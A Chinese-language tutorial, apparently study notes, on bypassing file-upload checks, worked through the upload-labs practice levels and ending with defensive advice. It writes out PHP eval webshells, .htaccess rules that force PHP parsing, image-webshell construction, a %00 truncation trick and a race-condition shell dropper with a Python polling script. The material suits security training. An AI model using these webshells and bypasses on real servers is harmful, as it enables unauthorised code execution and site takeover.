漏洞逻辑:上传恶意文件,服务器校验后保存到指定未知。用户访问上传的文件,脚本被web解析。
关键点:可以上传、存放位置、可以被网站解析。
一、文件上传常见点
上传头像、上传相册、上传附件、添加文章图片、编辑器文件上传前台留言资料上传...
js为前端绕过,服务端为后端,难以通过bp简单绕过
二、客户端-JS绕过
2.1 禁用js
浏览器禁用js,F12然后F1
phpinfo
<?php phpinfo();?>
禁用js之后可以直接上传php文件
php一句话木马
<?php eval(@$_GET['a']);?>
<?php eval(@$_POST['a']);?>
蚁剑通过连接一句话木马
通过蚁剑查看系统中的文件通过蚁剑对目标进行终端操作
2.2 bp修改后缀名
上传jpg文件
bp中修改后缀名
2.3 修改前端代码
删除form标签的onsubmit事件即可上传成功
ps:该方法在firefox中可用,edge和chrome中不生效
三、服务端黑名单绕过
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
3.1 特殊可解析后缀
upload-lab(pass-03)源码可以看出对php、asp、aspx、jsp后缀做了过滤,但php3、php5、phtml等依旧可以上传,但此类文件若要被当成php执行,需要apache的httpd.conf有以下代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
3.2 大小写绕过
upload-labs(pass-06),对常见后缀进行过滤,但没有对后缀大小写进行统一
将后缀名修改为大写格式
3.3 点绕过
windows靶场环境 php版本5.x,7.x版本提示上传出错
upload-labs(pass-08)代码中没有除点,可以通过bp在后缀名后面直接加点
文件可以上传,但靶场是linux环境搭建的,不会对点进行处理,可以配合中间件实行解析。
windows环境中会自动去除最后的点
3.4 空格绕过
windows靶场环境
upload-labs(pass-07)代码没有去空格,在文件后缀添加空格后上传
上传文件通过bp在后缀名添加空格
windows会对文件名后的空格去除,linux不会
3.5 ::$DATA绕过
在windows中,如果文件名之后加::\DATA之后的数据会被当成文件流处理,不会检测后缀名,且保持::\$DATA之前的文件名
windows靶场环境upload-labs(pass-09)
源码中没有对::data进行处理
bp抓包修改后缀名
3.6 配合解析绕过
upload-labs(pass-10)
没有循环验证,只验证了一次,bp抓包修改. .或. ::$DATA
3.7 .htaccess文件绕过
.htaccess(Hypertext Access)文件时apache服务器的一个配置文件,通过该文件实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文件等功能。上传.htaccess文件逃过黑名单。
upload-labs(pass-04)源码中缺少对.htaccess文件校验
上传一个.htaccess文件,重写文件解析规则绕过,设置当前目录所有文件都是使用php解析,那么无论上传什么文件,都被作为php执行
准备两个文件.htaccess和一句话木马.jpg文件
//.htaccess文件,指定upload.jpg文件作为php解析
<FilesMatch "upload.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
//.htaccess文件,所有文件作为php解析
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
//upload.jpg
<?php @eval($_POST["a"]); ?>
3.8 双写绕过
upload-labs(pass-11)
str_ireplace将上传的黑名单中的后缀名替换为空
双写上传
四、服务端白名单绕过
4.1 MIME类型检测绕过
upload-labs(pass-02)查看源码只支持jpeg、png、gif文件
bp修改content-type类型
上传成功
4.2 00截断绕过
00 截断绕过是系统漏洞,操作系统底层是 C 语言 or 汇编语言的,这两种语言都以\0作为字符串的结束标志。00 截断是指插入\0,从而达到字符串截断的目的。
\0是 ASCII 码表中的第 0 个字符,英文名为 NUL。\0是在底层操作系统的表现形式,在前端输入不能直接输入 \0,而应该使用%00或者0x00:
%00:URL中%00表示 ASCII码为0的字符,该字符为特殊字符保留,表示字符串结束。当 URL 出现%00时就认为读取已经结束,而忽略后面上传的文件或图片,只上传截断前的文件。
0x00:%00 解码成十六进制形式。
截断原理:利用%00是字符串结束标识符的机制,攻击者可以通过在路径中手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过前端的检测。
upload-labs(pass-12)
截断条件:
1. php版本小于5.3.4
2. php.ini的magic_quotes_gpc为OFF状态
GET方法
%00的使用只能在路径上
upload-labs(pass-13)POST方法%00在请求体中不会被解码,需要手动进行解码
选择%00右击convert selection-->URL-->URL decode进行url解码
五、服务端内容检查绕过
5.1 文件头检查
010editor可以看到文件的真实内容(文件的真实内容不会因为后缀名的改变而改变)
文件头+文件内容+文件尾
.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47
制作图片马:
1. windows系统文件拼接:copy /b 1.png+2.php.png
2. 在真实图片中添加一句话木马(直接在文件尾写一句话木马)
3. 在真实脚本的头部添加图片的文件头(严格来说不是图片马)
4. 使用photoshop修改文件标题alt +shift+ctrl +i
图片马需要配合文件包含漏洞关系使用
新的图片马可以正常查看
upload-labs(pass-14)
读前2字节进行16进制字段比对,
存在文件包含漏洞
访问url:port/include.php?file=xxxx,访问显示乱码,蚁剑测试可以连接成功
5.2 图片getimagesize及exif_imagetype
upload-labs(pass-15)
getimagesize获取文件类型,进行文件判断。必须上传真实图片的图片马
upload-labs(pass-16)
exif_imagetype读取一个图像的第一个字节并检查其签名。解法同pass-15
5.3 二次渲染绕过
二次渲染:根据上传的图片生成一个新图片,删除原始图片,将新图片添加到数据库中。
upload-labs(pass-17)
先是判断后缀名和文件类型,然后再用imagecreatefrom[gif|png|jpg] 函数判断是否是图片格式,如果是图片的话再用 image[gif|png|jpg]函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察其上传前和上传后图片的二进制流是否发生变化。
利用010editor文件对比功能,将上传前后的正常文件进行对比
GIF
渲染前后的两张GIF,没有发生变化的数据块部分可以直接插入webshell
PNG
需要将数据写入到PLTE数据块或IDAT数据块
JPG
需要使用脚本将数据插入到特定的数据块,可能会不成功,需要多次尝试
优先选择在gif中插入webshell,在将上传前和上传后的gif通过工具进行对比
对比前后对未修改的片段添加一句话木马即可对二次渲染进行绕过
将插入的文件上传后正常显示正常,打开图片后看到php语句渲染后页面
phpinfo后面为图片正常代码
5.4 文件包含绕过
前提:校验规则只校验文件后缀名名为asp、php、jsp的文件内容是否为木马
绕过方式:
(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2)然后再上传一个php文件,内容为
<?php include("上传的txt文件路径");?>
包含语法
#PHP
<?php Include("上传的txt文件路径");?>
#ASP
<!--#include file="上传的txt文件路径" -->
#JSP
<jsp:include page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%>
六、代码逻辑(条件竞争)
条件竞争上传是一种服务端的漏洞,由于后端程序操作不合理导致
处理不同用户的请求时是并发的,处理不当或操作逻辑顺序的不合理会导致出现问题。一般发生在多线程同时访问同一个共享代码、变量、文件时等没有进行锁操作或同步操作的场景。
upload-labs(pass-18)(先上传再校验)
将文件先保存下来,将上传文件的后缀名和白名单后缀名进行对比,校验成功后重命名保存,校验失败删除文件
即使判断和删除的过程很快,中间有一瞬间文件是在服务器中的,利用bp多线程法宝,不断在浏览器访问上传的webshell
fputs将php内容写入fopen创建的shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>
上传cs.php文件,然后bp抓包,将数据包发送到intruder模块,在包尾添加空格并添加变量
payloads中选定攻击方式,选定null payloads,可以指定次数,continue indefinitely为无限重放,start attack开始攻击
运行python脚本,不停访问cs.php
import requests
url = "http://10.0.0.156:8081/upload/cs.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
初次运行脚本时,提示ModuleNotFoundError: No module named 'requests'错误,python安装requests模块
返回ok说明脚本上传成功发现有shell.php,使用蚁剑可以连接shell.php
七、总结
防御
1、判断文件类型(能不能传)
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
2、使用随机数改写文件名和文件路径(传到了哪里)
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
3、文件上传的目录设置为不可执行(能不能用)
只要Web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。
4、使用安全设备防御
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。